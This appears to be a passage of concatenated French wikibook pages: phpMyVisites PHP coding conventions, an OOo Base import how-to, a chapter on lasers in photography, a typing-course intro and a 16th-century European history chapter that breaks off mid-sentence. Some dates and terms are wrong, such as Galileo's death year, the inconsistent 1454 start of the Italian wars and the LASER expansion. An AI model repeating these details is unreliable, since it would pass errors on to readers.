'''très largement conseillé''' * les fichiers code source sont tous encodés en UTF-8. Cela permettra à tous les développeurs d'avoir exactement le même rendu final, quel que soit leur pays et leur langue. Ce sera notamment utile pour les noms des développeurs étrangers. * la programmation objet n'est pas obligatoire mais fortement encouragée [[Utilisateur:Marco|Marco]] == Général == Commentaires généraux sur le style de codage à utiliser '''''obligatoirement''''' * largeur maximum des lignes : 100 caractères (et non 80) * utiliser '''des tabulations''' et non '''des espaces'''. Chacun règle la taille de ses tabulations (4 semble être un bon chiffre). Ne pas transformer automatiquement ses tabulations en espace comme le proposent certains logiciels ! * pour les '''if then else''' les 2 écritures classiques sont tolérées if (condition) { ... } else { ... } et if (condition) { ... } else if (condition) { ... } else { ... } '''''La première semble plus claire et est conseillée !''''' '''''Moi je conseille la deuxième, beaucoup plus simple à lire et plus concise :-P !''''' * faire une bonne utilisation des espaces pour les blocs d'égalité $a = 'hello'; $bbbb = 'world'; $cccccccc = 'foobar'; * en cas de multiples tests bien mettre en avant sur des nouvelles lignes plus indentées les tests logiques if ((condition1 && condition2) || (condition3 && condition4) ||!(condition5 && condition6)) { doSomethingAboutIt(); } * ne pas mettre plus d'une action par ligne (''statement''). $i_toto = 1; $i_tata = 2; * utiliser <?php et non <? en début de fichier (et veillez à ne pas laisser de ligne vide au début ou à la fin des fichiers * mettre les mots clés SQL en majuscule SELECT S.first_name, S.last_name FROM students S WHERE S.email = '' ORDER BY S.last_name"; * mettre les index des tableaux entre guillemets simples Examples : $foo = $assoc_array[blah]; IS WRONG $foo = $assoc_array['blah']; IS OK == Commentaires == * pour les commentaires en une ligne utilisez le style // ici le commentaire * pour les commentaires sur plusieurs lignes utilisez le style /* ici * un * commentaire */ * commentaires de fonctions, classes, méthodes respectent la norme javadoc /** * what the function does in one line. * more detailed description on 0-n lines, if needed. * @access [public|static|pseudostatic] * @param [string|int|double|bool|array|object|mixed] $paramName1 desc * @param [string|int|double|bool|array|object|mixed] $paramName2 desc * ... * @param [string|int|double|bool|array|object|mixed] $paramNameN desc * @return datatype description * @throws not until PHP 5 * @see some_function() * @todo description * @since ATutor version, PHP version (comma separated list) * @status stable|experimental (if not set then considered stable) * @pattern singleton|factory|mvc|observer|facade|... * @author description (comma separated list) */ function something() { ... } == Conventions de nommage == '''''Cette partie est très importante et doit être scupuleusement suivie !''''' * ''variables'' : utiliser le style "studly caps". Chaque premier caractère d'un nouveau "mot" doit être une majuscule, sauf le tout premier. Examples : $currentuser is WRONG $current_user is WRONG $currentUser is OK $isLogged $setParamsOn * ''fonctions'' : utiliser le même style que les variables. De préférence sous forme de verbes (les fonctions effectuent, il existe forcément un verbe pour cet effet... !). Examples : getToto() loadFoo() sellMs() phpmvRocks() cocoricoDeBonMatin() Examples : L'utilisateur est il loggué ? isUserLogged() phpMyVisites est il puissant ? isPhpmvPowerfull() : Note : ne pas utiliser la notation pdf2html mais plutôt pdfToHtml pour plus de clarté (confusion possible entre pdf2Html sinon...) * classes : elles suivent également le style StudlyCaps, mais avec une majuscule au début class DatabaseLayer class BrowserDetection * utilisez à bon escient les préfixes ou suffixes 'naturels' comme *Count, temp*, etc. * ne pas utiliser des noms de variables à 1 caractère seulement, excepté des index dans les boucles ($i, $j, $k, etc.) * pour combler le manque de précision de php sur le type des variables, il faut typer les array, string, integer, bool avec un préfixe a_ : tableau (array) s_ : chaîne (string) i_ : entier (integer) b_ : booleen (boolean) * également pour les variables globales g_ : globale (global) * écrire '''true, false, et null''' en minuscule == Programmation == * ne pas utiliser les variables globales sauf s'il n'y a pas d'autre solution, et dans ce cas se concerter entre développeurs auparavant. * il faut initialiser les variables $a_t = array(); $s_t = '''''''; * connaître et savoir utiliser === et !== * dans le switch, quand on fait un ''''return'''' ne pas oublier le ''''break'''' switch ($x) { case 'hello': return TRUE; break; } * utiliser des ''''foreach'''' plutôt que des ''''while(list($t,) = each($t2))'''' * pas de '''''magic numbers''''', ces nombres qui apparaissent dans le code sans justification particulière, comme par magie. Définir des constantes ou variables ayant comme valeurs ces '''''magic number''''', mais ne pas faire les tests directement ! * optimiser les boucles for et autres, notamment lors de l'utilisation des sizeof() Example : // le sizeof() est appelé à chaque itération de la boucle : MAUVAIS ! for ($i = 0; $i < sizeof($post_data); $i++) { doSomething(); } // le sizeof() est calculé une fois au départ, seulement : BON ! for ($i = 0, $size = sizeof($post_data); $i < $size; $i++) { doSomething(); } * de même que pour le if on peut écrire for ($i = 0, $size = sizeof($post_data); $i < $size; $i++) { doSomething(); } * utilisez plutôt sizeof() que count() * utilisez plutôt strpos() que strstr() * ne pas utiliser la possibilité de Smarty de mettre du code PHP dans les templates via les tags <!-- PHP -->. C'est dangereux et l'on peut faire sans ! * quand une fonction doit retourner un bool, retournez un bool soit '''true''' soit '''false''' et non pas 1 ou 0 === IMPORTANT fonctions propres à phpMyVisites === * pour récupérer une variables utiliser la fonctions getRequestVar() qui sécurise les données * pour stripslasher utiliser la fonction stripslashesPmv() qui prend en compte les magic_quote * pour faire des requêtes utiliser query() au lieu de mysql_query() Base 5644 23759 2005-10-20T18:09:58Z 84.5.54.227 Importer des données depuis access vers OO Base ! OOo Base est un système de gestion de bases de données relationnelles de la suite bureautique OpenOffice.org. Il est accessible via le menu Fichier/Nouveau/Base de donnée. Un article plus complémentaire est disponible sur le site de wikipédia (http://fr.wikipedia.org/wiki/OOo_Base). ==Importer des données depuis access== *Exporter dans un dossier les tables au format dBASE 5. *Ouvrir openoffice Base (uniquement disponible dans la version 2) *dans l'assistant base de données, choisir la troisième option,"se connecter a une base de données existante" *Selectionner dBASE *suivant *selectionner le chemin ou vousavez enregister vos tables précédemment *suivant *terminer Vous devriez avoir un aperçu de vos tables, en cliquant sur icône table en haut à gauche de votre écran. Bienvenue sur openoffice Base :-) Photographie - 04 - Lasers 5646 44339 2006-06-11T21:30:46Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} Le mot '''[[W:fr:Laser|LASER]]''' est l'acronyme anglais de ''Light Amplifier by Stimulated Emission of radiations'', c'est-à-dire ''Amplificateur de Lumière par Émission Stimulée de Radiations''. En photographie, l'utilisation des lasers concerne essentiellement l'[[w:fr:holographie|holographie]]. == Principe de l'émission == Dans un atome, la transition d'un électron entre deux niveaux d'énergie E<sub>j</sub> (excité) et E<sub>i</sub> (non excité) s'accompagne, selon son sens, de l'absorption ou de l'émis­sion d'un photon de fréquence <sub>Vi</sub>j telle que h. V<sub>ij</sub> = E<sub>j</sub> - E<sub>i</sub>. Si le rapport des populations d'ato­mes dans les états excités et non excités est faible, les photons sont libérés de façon aléatolre par '''émission spontanée'''. Si au contraire, par un processus appelé « pompage optique », on excite suffisamment d'atomes pour que le rapport des deux populations soit supérieur à un seuil appelé condition d'accrochage, on assiste alors au phénomène d''''émission stimulée''' : un photon V<sub>ij</sub> frappant un atome excité provoque l'émission d'un autre photon rigou­reusement identique au premier, et ainsi de suite. == Réalisations == Le classique '''laser à rubis''' (cristal d'alumine Al<sub>2</sub>O<sub>3</sub> dopé par quelques ions Cr<sup>+++</sup> remplaçant des ions Al<sup>+++</sup>) comporte un bar­reau cylindrique dont les extrémités dressées avec très grand soin sont argentées pour for­mer une cavité résonante où les réflexions de la lumière provoqueront des ondes stationnai­res. L'une des argentures est semi-transparente pour assurer la sortie du faisceau lumineux. Le pompage est obtenu par l'éclair d'un flash qui excite les ions Cr<sup>+++</sup>. Pendant l'éclair (environ 10<sup>-3</sup>s), le barreau émet une série d'impulsions lumineuses irrégulières et brèves (10<sup>-6</sup>s) . Le même laser peut être réalisé avec une émission déclenchée à l'aide d'un miroir tour­nant. Au lieu que la décharge se produise dès que le seuil est atteint, on excite beaucoup plus d'atomes avant que le miroir tournant ne vienne créer la résonance. La décharge est alors uni­que, beaucoup plus puissante et aussi plus brève (10<sup>-8</sup>s ou moins). La "cadence de tir" est limitée par l'échauffement du barreau, car le rubis est très mauvais conducteur de la chaleur. Avec un barreau de grenat d'yttrium-aluminium (YAG), bien meilleur conducteur, on peut obtenir des impulsions rapprochées ou même une émission continue. Le milieu actif peut aussi être un ion dissous (Nd<sup>+++</sup> dans POCl<sub>3</sub> à -150°C), un gaz (hélium-néon, argon ionisé, dioxyde de carbone ...). On fabrique aujourd'hui toutes sortes de lasers, à semi-conducteurs, à colorants liquides, etc. Les diodes laser constituent la « population » la plus importante, on les trouve en particulier dans tous les lecteurs de cédéroms et de DVD. <gallery> Image:Small-HeNe-laser.jpg|Petit laser hélium-néon Image:Helium-Neon Laser.jpg|Laser He-Ne Image:Laser.jpg|Installation de vélocimétrie laser Image:Laser effects.jpg|Effets laser durant un spectacle </gallery> == Caractéristiques du rayonnement laser == === Puissance émise === Elle varie de moins de 1 mW pour un petit laser continu à plusieurs GW en crête pour un laser à solide travaillant par impulsions. En fait les plus gros lasers ont une puissance de quelques dizaines de kW mais le moins que l'on puisse dire est qu'ils ne sont guère transportables. === Structure spatiale du faisceau === Le faisceau a la forme d'un cône très peu ouvert, dont la divergence &epsilon; (1/2 angle au sommet) est donnée en fonction du diamètre de sortie D et de la longueur d'onde &lambda; par la formule : <math>\epsilon = \frac{\lambda}{D}</math> ( en radians ) Si par exemple &lambda; = 0,5 &mu;m et D = 4 mm on trouve &epsilon; = 0,125 10<sup>-3</sup>. Ainsi, à 1 km du laser, le diamètre du faisceau n'atteint que 2 x 0,125 x 10<sup>-3</sup> = 0,25 m. À l'aide d'un système optique approprié, on peut encore focaliser le faisceau jusqu'à ce que sa section ait une aire voisine de &lambda;<sup>2</sup>. En conser­vant les valeurs précédentes et en supposant que le laser émette des impulsions d'énergie W = 10 J, de longueur d'onde 0,5 &mu;m et de durée t = 10<sup>-9</sup> s, on trouve : * puissance en crête : P=W/t= 10<sup>10</sup> W= 10<sup>4</sup> MW (10 grosses tranches de centrales nucléaires !) * longueur du train d'ondes : L = c.t = 0,3 m (on peut atteindre le mm) * éclairement énergétique de la tache focale d'aire &lambda;<sup>2</sup> : <math>\frac{P}{\lambda^2} = \frac{10^{10}}{(0,5 \times 10^{-6})^2} = \frac{10^{10}}{0,25 \times 10^{-12}}= 4 \times 10^{22} \, W/m^2</math> (à titre de comparaison l'éclairement maximal fourni par le soleil à midi est d'environ 10<sup>3</sup> W/m<sup>2</sup>, il s'agit pourtant ici d'un petit laser). Le rayon laser peut donc « matérialiser » une direction de l'espace et transporter de l'énergie à très grande distance. === Structure temporelle du faisceau === Les fréquences émises sont comprises dans une bande très étroite qui rend le rayonnement pratiquement monochromatique (sauf pour les lasers à semi-conducteurs). La stabilité de fré­quence dépend des dimensions de la cavité résonante et devient mauvaise sous l'influence de facteurs tels que les vibrations ou les dilatations. La lumière est dite '''cohérente''' car, con­tralrement a ce qui se passe pour une source ordinaire où les photons sont émis à des ins­tants quelconques, ici les photons sont émis en phase. On pourrait représenter l'impulsion du laser pris en exemple comme formée de : <math>\frac{L}{\lambda}= \frac{300}{0,5 \times 10^{-3}}= 600000</math> « paquets » de photons distants de la longueur d'onde &lambda;. === Longueurs d'onde === On couvre actuellement un domaine allant de 337 &mu;m (HCN gaz) à 0,1161 &mu;m (H<sub>2</sub>), donc du lointain infrarouge à l'ultraviolet (valeurs à actualiser éventuellement). Notons quelques valeurs : {| cellpadding="3" |- |H<sub>2</sub>0 (vapeur) |118 &mu;m et 28 &mu;m (IR) |- |C0<sub>2</sub> (gaz) |10,6 &mu;m (IR) - rendement jusqu'à 25 % |- |CO (gaz) |5,4 &mu;m (IR) |- |He-Ne (gaz) |3,39 &mu;m et 1,15 &mu;m (IR), 0,6328 &mu;m (rouge) |- |verre au néodyme |1,06 &mu;m (IR) |- |rubis (solide) |0,6943 &mu;m (rouge) |- |Kr<sup>+</sup> (gaz) |0,5682 &mu;m (jaune) |- |He-Cd<sup>+</sup> (gaz) |0,4416 &mu;m (bleu) et 0,3250 &mu;m (UV) |- |N<sub>2</sub> (gaz) |0,335 &mu;m (UV) |- |} Dactylographie 5648 24298 2005-10-26T17:22:25Z 80.200.171.193 ===Intro=== Voici un cours de dactylographie issu d'un cours de bureautique donné à la Haute Ecole Provinciale Mons Borinage Centre (à Mons, en Belgique), en catégorie ''secrétariat de direction''. Le but de ce cours est d'acquérir une vitesse de frappe sur clavier AZERTY assez bonne et ce en utilisant ses dix doigts et en frappe aveugle (sans regarder le clavier). Les leçons sont à faire plusieurs fois et régulièrement pour atteindre le but recherché. * [[Dactylographie-première leçon|Première leçon]] Histoire de l'Europe:Chapitre 10 5652 38595 2006-03-22T18:06:26Z HB 15 /* Eléments de bibliographie pour ce volume */ mise en forme (fin) {{Histoire de l'Europe}} <big> '''Renaissance et Réforme (XVIe siècle)'''</big> L'Église avant la Réforme représente une sorte d'État parallèle aux États nationaux. Elle est un propriétaire terrien extrêmement riche, elle a ses tribunaux, exige des impôts, et constitue, puisque quasiment tout le monde va à l'église, une sorte de "médias de masse" avant la lettre. La religion et la politique à cette époque sont une seule et même chose. Exiger une autre forme de religion, c'est exiger une autre société. Si Luther et Calvin réussissent là où d'autres (les Cathares en France ou les Hussites en Bohème) ont échoué, c'est que leurs idées d'individualisme, d'accès individuel à Dieu correspondent aux besoins de nouveaux groupes sociaux (marchands et artisans) qui veulent une société plus dynamique et moins hiérarchique, et qui accusent l'Église de concurrence déloyale (l'Église ne paie pas d'impôts, mais vend des marchandises quand même : voir la crise liée au ''commerce des indulgences''). ---------------------------------------------------------------------------------------------- Auteur : Nicole Vray, Docteur ès-Lettres <center>'''L’Europe bouleversée'''</center> <center>'''Politiques et religions XVeme – XVIeme siècles'''</center> == Introduction : A la veille du XVIeme siècle == La fin du XVIeme siècle voit la fin d’une période et laisse supposer le début d’un autre monde en politique, religion, arts et lettres. En France, après la guerre de Cent - ans franco-anglaise, le fils de Louis XI, Charles VIII, épouse en 1491 la duchesse Anne de Bretagne. En Angleterre, la guerre civile des Deux - Roses a pris fin et Henri Tudor devient roi. En Italie, les Etats sont pacifiés, et en Espagne règnent les rois catholiques, Isabelle de Castille et Ferdinand d’Aragon. L’Allemagne façonne l’Empire avec l’Autriche et la Bohême, certains Etats de la Lotharingie (à l’ouest, les Pays- Bas, à l’est l’Alsace et la Loraine, la Franche-Comté et la Savoie), des Etats suisses et une partie de l’Italie du nord. Et l’Europe nordique est constituée du Danemark, de la Norvège et de la Suède. Par ce premier regard l’Europe, qui compte environ quatre vingt millions d’habitants paraît apaisée, connaît un commerce florissant, notamment anglais et italien, et où tous les pays sont chrétiens. Cependant des failles existent qui vont progressivement apparaître, grandir, faire de plus en plus l’objet de réflexions, de contestations, voire de conflits dans les Etats et entre eux. Dans le domaine politique, les deux grands personnages que sont l’empereur du Saint - Empire et le pape connaissent des relations tendues dans la deuxième moitié du XVeme siècle et les ambitions d’autres rois, comme François 1er, feront basculer le pouvoir papal, particulièrement lors du concordat de 1516. Par ailleurs, l’Europe souffre de la multiplicité de ses Etats et, en conséquence, des différents modes de gouvernement : monarchies héréditaires en France, en Angleterre, en Castille et Aragon ; monarchies de forme élective en Pologne, Bohême, et dans le Saint Empire ; oligarchies ou princes ecclésiastiques en Italie et en Allemagne. Ces diverses formes de pouvoir ne pourront engendrer, en cas de conflit, que des désaccords démultipliés, l’Europe n’ayant pas d’autorité unifiée, temporelle et spirituelle, d’un empereur (ou d’un roi) et d’un pape. Dans un tout autre domaine, celui des grandes découvertes, le premier mobile est économique. Ont diminué les ressources de métaux précieux, de l’argent des mines d’Europe centrale, en même temps qu’augmente le besoin d’or et d’argent des Etats. Le commerce des épices se greffera aux découvertes et, alors qu’il deviendra plus tard important, il n’a pas constitué la première raison des départs. Vasco de Gama, Christophe Colomb, Amerigo Vespucci, Magellan : autant de noms, d’aventures, de rêves ; autant également de découvertes qui transforment la vision du monde, quand on apprend qu’il existe d’autres pays et d’autres continents ; autant de jalousies entre rois, notamment entre espagnols et français, qui pousseront François 1er à envoyer Giovanni de Verrazano dans ce qui sera la Caroline du sud, puis Jacques Cartier qui découvrira le Saint Laurent. Ces découvertes auront de nombreuses et importantes conséquences. Tout d’abord les routes traditionnelles du commerce de la méditerranée se trouvent déplacées vers l’Atlantique et l’océan indien, et dés lors des ports sur l’Atlantique, français ou des Etats comme les Pays-Bas, verront leur développement et leur économie profondément modifiés. L’arrivée de l’or enrichit des pays, comme l’Espagne , et les nouvelles richesses comme les épices, le tabac et plus tard le maïs et le cacao, influeront également sur le commerce. Une autre conséquence est l’esclavage, et le commerce négrier qui commence dés la fin du XVeme siècle, dénoncé par Bartolomé de Las Casas, ne cessera de se développer au cours des siècles suivants. Ces grands voyages de la fin du XVeme siècle et du début du XVIeme siècle ont induit des progrès et des perfectionnements dans la navigation, ont fait progresser la rédaction et la compréhension des cartes, grâce notamment à Mercator. Ils ont en outre pu faire découvrir des produits exotiques qui deviendront quotidiens, avec en conséquence un impact non négligeable en politique et en économie. Et une autre circulation intervient, celle de la pensée. L’humanisme, cette explosion de la réflexion et de l’esprit, qui veut dépasser le mode de pensée médiéval, retrouver la notion d’individu, l’étude et l’authenticité d’un texte, va être personnifié par les grands noms de Leonard de Vinci, Michel Ange, Boccace, Pétrarque, ou Ronsard. L’imprimerie, qui apparaît avec ses caractères mobiles en plomb en 1460 à Mayence, avec Gutenberg, se propage rapidement. Elle est présente dans tous les grands centres européens à la fin du XVeme siècle. Désormais une autre étape est ouverte pour la diffusion des idées, la propagation de la pensée qui ne sera plus, progressivement, réservée à la seule élite ; et c’est dans cette Europe du XVemesiècle que le premier livre imprimé sorti de la presse de Gutenberg est la Bible. Ainsi l’Europe se présente-t-elle, à la veille du XVIeme siècle, dans ses zones d’ombre et de lumière, entre Europe nordique, centrale et méditerranéenne, dans une économie transformée par les découvertes de nouveaux mondes ou de nouvelles techniques, dans des conflits latents entre temporel et spirituel. Dans un monde majoritairement rural les villes se développent, qui sont Paris, Lyon, Londres, Anvers, Venise, Florence, Rome, Bruxelles ou Madrid. Toutes auront un rôle déterminant en politique comme en économie, comme en religion. Dans ce dernier domaine toutes les ‘idées nouvelles’ véhiculées par l’humanisme vivront et se diffuseront : l’exemplarité sera l’universalité d’une pensée qui ne se voudra pas ‘ unique ‘, mais ‘ commune ‘ , malgré les aléas politiques qui marqueront ses étapes. La fin du XVeme siècle ouvre la voie à l’histoire moderne du XVI° siècle, tournant qui, en prenant racine dans les siècles précédents, donnera vie aux siècles suivants. Histoire moderne où rien ne se ressemblera plus, où les politiques se croisent, la géographie devient élastique, les certitudes vacillent. La religion va prendre une autre place, progressivement entre la politique et le social, la collectivité et l’individu, le savoir de l’élite et la foi des fidèles. == 1° chapitre : XV<sup>e</sup> – XVI<sup>e</sup> siècles == <center>'''En Europe, les contextes géopolitique, économique, social et religieux'''</center> L’Europe de la seconde moitié du XV<sup>e</sup> siècle et du XVI<sup>e</sup> siècle va connaître des bouleversements dans tous les domaines, et l’avènement de l’époque « moderne » ne se fera pas sans conflit. Globalement, dans tous les pays, les populations vivent sous le sceau de la paix ; elles sont terrorisées par la mort sous toutes ses formes, maladies, disettes, forte mortalité, guerres, et sont massivement rurales. Les villes abritent un monde instable, sont en général plus un grand ensemble de maisons qu’une entité bien définie. Au début du XV<sup>e</sup> siècle, le nord ouest de l’Europe connaît un taux d’urbanisation d’environ 10 %, avec ces ‘ villes ’ qui comptent toujours un marché, des artisans, une administration judiciaire et militaire. Les évolutions techniques touchent peu ce monde agricole alors que le perfectionnement de la navigation et les nouveaux équipements des fleuves vont favoriser tous les échanges commerciaux. Et si l’agriculture progresse, elle touche davantage ceux qui entretiennent le commerce : les paysans sont encore éloignés des circuits monétaires, quittent rarement leurs villages et profitent souvent peu des progrès, sauf dans des cas précis comme celui des moulins ; leur amélioration technique, notamment dans l’Europe du nord ouest, permettra à partir du XV<sup>e</sup> siècle un progrès dans l’écrasement des céréales, ou dans les pressoirs à vin : ces progrès permettront plus tard de nouvelles inventions et technologies en ouvrant la recherche et la réflexion sur les relations possibles entre technique et science, relations auxquelles la religion ne sera pas étrangère. Parallèlement au commerce, la lettre de change qui, depuis le XIII<sup>e</sup> siècle évitait la monnaie métallique, va être à son tour remplacée par la monnaie ‘par endossements successifs’, garantie par plusieurs signatures ; il s’agit là d’un progrès essentiel dans la circulation de l’argent, celui d’une ‘ monnaie par écriture’. Toujours au XV<sup>e</sup> siècle naît le billet de banque, mais il devra attendre le XVII<sup>e</sup> siècle pour se généraliser. Enfin les Bourses, depuis le XIV<sup>e</sup> siècle, deviennent peu à peu des centres importants du circuit de l’argent. Ces circulations commerciales et humaines, dont celle des idées, sont favorisées par l’amélioration des voies de communication ; fleuves et routes sont largement fréquentés, et tous ces échanges en seront d’autant plus intensifiés. Les ports sont importants mais aussi les gros bourgs et les nouvelles villes. Là se condense le savoir, en le refusant ou en le diffusant. Car la fin du XV<sup>e</sup> et le début du XVI<sup>e</sup> siècle se heurtent encore aux ‘anciennes’ conditions économiques et sociales, et au monde moderne qui s’ouvre avec ses potentialités et son développement dans les domaines agricoles, techniques et financiers. D’autres découvertes vont encore accélérer le processus de déséquilibre : la conception médiévale d’un univers unique et clos, dont la terre était le centre, est tombée. Copernic (1473–1543) émet l’idée du système solaire qui sera confirmée et développée par Galilée (1564–1662). Tout alors sera remis en question avec ces nouvelles perspectives qui ouvrent le chemin d’une autre pensée, intellectuelle et religieuse. L’alchimie, l’astrologie et la magie séviront toujours, mais l’astronomie, les mathématiques et bientôt l’anatomie et la mécanique seront présentes. Dans ce contexte général, les populations, les pays vont évoluer selon les rois, les princes, les empereurs, les théologiens. Tous les pays d’Europe sont liés à l’Eglise et rien ne se fait sans l’accord ou le désaccord du pape. Car l’Eglise est puissante pour tous, rassurante pour certains, redoutable pour d’autres. Si des mouvements ou des réactions existent, ce sont encore des contestations mais non des révoltes, et l’Eglise les condamne quand elle le juge opportun. Ainsi le mouvement vaudois, à la fin du XII<sup>e</sup> et au début du XIII<sup>e</sup> siècle semblera–t–il cesser avec l’excommunication de Pierre Valdo. Ce dernier (né vers 1140 , mort vers 1217) a en effet, un des premiers, remis en cause certains principes de son Eglise. Marié, père de deux fillettes, du milieu aisé de Lyon, il avait été frappé par la famine de 1176, et le nombre considérable de morts. En 1179, il rompt avec l’Eglise et fonde une communauté, « les Pauvres de Lyon ». Les principes de ces Pauvres, qu’on appellera les ‘Vaudois’ étaient de ne se référer qu’à la Bible et au ‘sermon sur la montagne’, de contester le pouvoir et la richesse de l’Eglise, de rejeter l’idée de purgatoire, le culte des saints, tout en restant fidèle à la messe et aux sacrements. Les Vaudois avaient en outre organisé leur communauté : le nouvel arrivant vivait d’abord un noviciat où il faisait vœu de pauvreté, puis venaient les maîtres ou apôtres, puis les amis ou disciples ; trois degrés hiérarchiques les encadraient, les diacres, les prêtres et les évêques qui seuls pouvaient célébrer l’eucharistie. Devant cette organisation, l’Eglise s’émeut et condamne bientôt Pierre Valdo en l’excommuniant en 1184. Mais l’histoire des Vaudois ne s’arrêtera pas là. Dés le début du XIII<sup>e</sup>, d’autres ‘amis’ se soulèveront en Allemagne, Flandre, Espagne et Italie. Les bûchers où montent ces martyrs font penser que cette ‘crise’ est passée mais les Vaudois resteront présents et on retrouvera des disciples de ce courant au XV<sup>e</sup> et XVI<sup>e</sup> siècles. Ainsi les critiques faites à l’Eglise avaient déjà eu lieu : le décalage entre le clergé et ses abus ou son ignorance, les demandes ou attentes des fidèles dans leurs superstitions et leur terreur de la mort, comme des sorcières, était connu. Le culte des saints pour pallier le manque de réponses et se rassurer face à la mort ou à la colère de Dieu s’est développé. L’absence des hommes d’Eglise dans les lieux où on les attendrait (paroisses, abbayes, cathédrales), le cumul des charges ecclésiastiques, le Grand Schisme qui déséquilibre l’Eglise et qui fait croire que ce Schisme interdit l’entrée au Paradis, les courants millénaristes qui reparaissent avec la peur de la fin des temps et la certitude de l’arrivée de l’Antéchrist : tout s’est conjugué pour achever de terroriser les populations dans toute l’Europe. Ce déséquilibre est donc général, l’attente est partagée mais rien de positif ni rassurant ne paraît pouvoir exister, jusqu’au Concile de Latran de 1512 – 1517. Tous les pays d’Europe sont traversés par ces diverses évolutions et contestations, dont les représentants seront partout, et pour certains se rencontreront. Malgré les différences de gouvernements, de lois, de traditions, les acteurs de ces mouvements n’auront toujours qu’une seule conduite qui, pour certains, les condamnera. Le XVI<sup>e</sup> siècle reste en outre une période essentielle dans l’évolution des politiques européennes, toutes engagées dans des articulations d’intérêts réciproques ou d’alliances, les monarchies scandinaves au nord, l’exemple atypique de la Pologne à l’Est, les villes–états en Italie sous domination relative de l’Empereur, la France et l’Angleterre face à la toute puissance du Saint Empire. Au nord de l’Europe, les monarchies scandinaves du Danemark, de la Suède et de la Norvège sont gouvernées très différemment. Au Danemark Christian II a épousé Isabelle, sœur de Charles Quint, après un conflit avec un grand seigneur, Gustave Vasa que soutenait la République de Lübeck et toute la Hesse. Fait prisonnier par Christian II, il s’échappera et sera roi de Suède. Christian II abdiquera et se retirera en Hollande, son oncle Frédéric 1er lui succèdera. Confronté à une puissante aristocratie, le Danemark reste une monarchie importante du nord de l’Europe ; Christian III, successeur de Frédéric 1er fait entrer la Norvège comme partie du Danemark par une charte royale de 1536 ; mais les norvégiens contrairement au danois ont une société civile qui peut contrôler tous les pouvoirs et sera à l’origine de l’arrivée du développement et de l’acceptation de la réforme luthérienne à la suite des danois. En Suède, Gustave Vasa régnera jusqu’en 1560 en libérant son pays des partis et de l’influence de la noblesse, et fera accepter les idées de Luther, en conservant pour la couronne les biens ecclésiastiques sécularisés en 1527. Sous son règne, le pays est réorganisé et enrichi, et devient une puissance nordique. La caractéristique de ces trois pays est la lutte pour le contrôle de la Baltique, centre commercial des plus importants alors, le pouvoir de la noblesse toujours prête à intervenir dans les affaires royales, et la présence efficace des populations toujours prêtes elles aussi à interférer dans la politique. Un autre pays est à retenir et qui jouera un rôle important au XVI<sup>e</sup> siècle, la Pologne. En effet, le pays devait se conformer à la Diète, toute puissante depuis 1504, où le roi ne pouvait rien discuter ni décider sans l’accord des sénateurs et nonces, pour tout ce qui touchait au droit privé et à la liberté publique. Durant tout le XVI<sup>e</sup> siècle, les questions sociales polonaises touchaient la bourgeoisie des villes, riche bien que minoritaire, les paysans étaient encore comptés dans les troupeaux et les objets dépendant des seigneurs ; ces derniers, souvent grands propriétaires, étaient puissants financièrement et politiquement. A la fin de la dynastie des Jagellons, princes d’origine lituanienne qui gouvernaient la Pologne depuis le XIV<sup>e</sup> siècle, les grands seigneurs établissent une théorie pour sauvegarder l’idée de liberté et d’égalité des nobles : décision est prise d’élire désormais eux–mêmes leur roi par acclamation ; ainsi en 1572 les nobles polonais devaient–ils élire Henri de Valois, le futur Henri III, frère de Charles IX . Cette élection devait avoir des conséquences importantes lors du premier siège de La Rochelle de 1572–1574 ; ces conséquences ‘religieuses’ faisaient lever le siège de La Rochelle, les polonais agissant grâce au ‘principe de tolérance’ choisi par eux qui étaient confrontés aux différentes religions du catholicisme, de l’orthodoxie, du luthéranisme et de l’Islam, toutes à leurs frontières. Cette ‘tolérance’ devait être érigée en principe de droit dans la Résolution de la Confédération de Varsovie en 1573. Plus au Sud, l’Italie se démarque par une politique temporelle et/ou spirituelle. En effet l’Italie du centre et du nord avait, avant le XV<sup>e</sup> siècle, une politique spécifique : faisant partie du Saint Empire, elles n’en subissaient pas le pouvoir, sauf en cas de guerre. Les cités alors, dés le XII<sup>e</sup> siècle, s’étaient organisées comme des entités politiques individuelles et autonomes ; elles connaissaient des conflits d’influences, d’intérêts ou de personnalités, sans oublier les partisans du pape, les guelfes et ceux de l’empereur, les gibelins. A la fin du XV<sup>e</sup> siècle, Florence notamment est une sorte de puissance, particulièrement sous l’influence des grandes familles comme les Aldizzi ou les Médicis. L’histoire de Florence est liée à l’histoire des Médicis et à celle de la France, dont l’alliance avec Charles VIII, qui entre dans la ville en 1494. L’expulsion des Médicis, avec l’influence de Savonarole, puis leur retour avec le pape Léon X feront de Florence un duché puis le grand - duché de Toscane en 1569. Mais ce sont les guerres d’Italie qui lient le plus le pays à la France. Les prétentions françaises sur l’Italie seront revendiquées par les rois successifs : Charles VIII, Louis XII, François 1er, et Henri II, qui mèneront ces guerres de 1454 à 1559, date des traités de Cateau-Cambrésis. Pendant ces soixante cinq ans de guerre, les alliances, les défaites et les trêves vont se succéder, et, si le terrain est l’Italie, les adversaires sont le(s) roi(s) de France, le roi d’Angleterre Henri VIII, les papes - Jules II, Clément VII, Paul III, Paul IV - et l’Espagne avec Ferdinand d’Aragon, puis, à partir de 1515, Charles de Habsbourg qui devient Charles Quint. Les étapes principales sont l’arrivée de Charles VIII en 1494 à Florence, signe de malédiction d’après Savonarole, entre deux guerres l’union de Ferdinand d’Aragon avec la sœur d’Henri VIII, la victoire de François 1er à Marignan en 1515, l’entrevue du ‘Camp du drap d’or ‘ en 1520 entre François 1er et Henri VIII, l’échec de Pavie en 1525 dont les conséquences sont lourdes pour la France : François 1er, prisonnier, doit abandonner l’Italie, la Flandre et l’Artois, accepter de voir ses deux fils pris en otages pour prix de sa libération, comme il devra épouser Eléonore d’Autriche, sœur de Charles Quint. La fin des guerres n’a guère de résultats politiques et frontaliers qui puissent transformer le pays. Un fait cependant s’avèrera important : en abdiquant, Charles Quint partage le Saint Empire entre ses fils : Philippe II régnera sur l’Espagne et Ferdinand 1er sur l’empire allemand ; la France qui a perdu la plupart des régions convoitées (Savoie, Piémont, Bresse, Corse et Milanais) va être prise en tenaille dans la seconde moitié du XVI<sup>e</sup> siècle entre l’Europe nordique luthérienne, le Saint Empire au nord et au sud, gouverné par les fils de Charles Quint, et l’Italie où la puissance des papes est incontestée. En France, en 1500, le roi est Louis XII, qui a épousé en 1499 la duchesse Anne de Bretagne, veuve de Charles VIII . Cette même année, François, comte d’Angoulême et cousin du roi, seul héritier du trône à cinq ans, est titré duc de Valois. À cette époque, vont entrer en scène les nouveaux souverains qui régneront 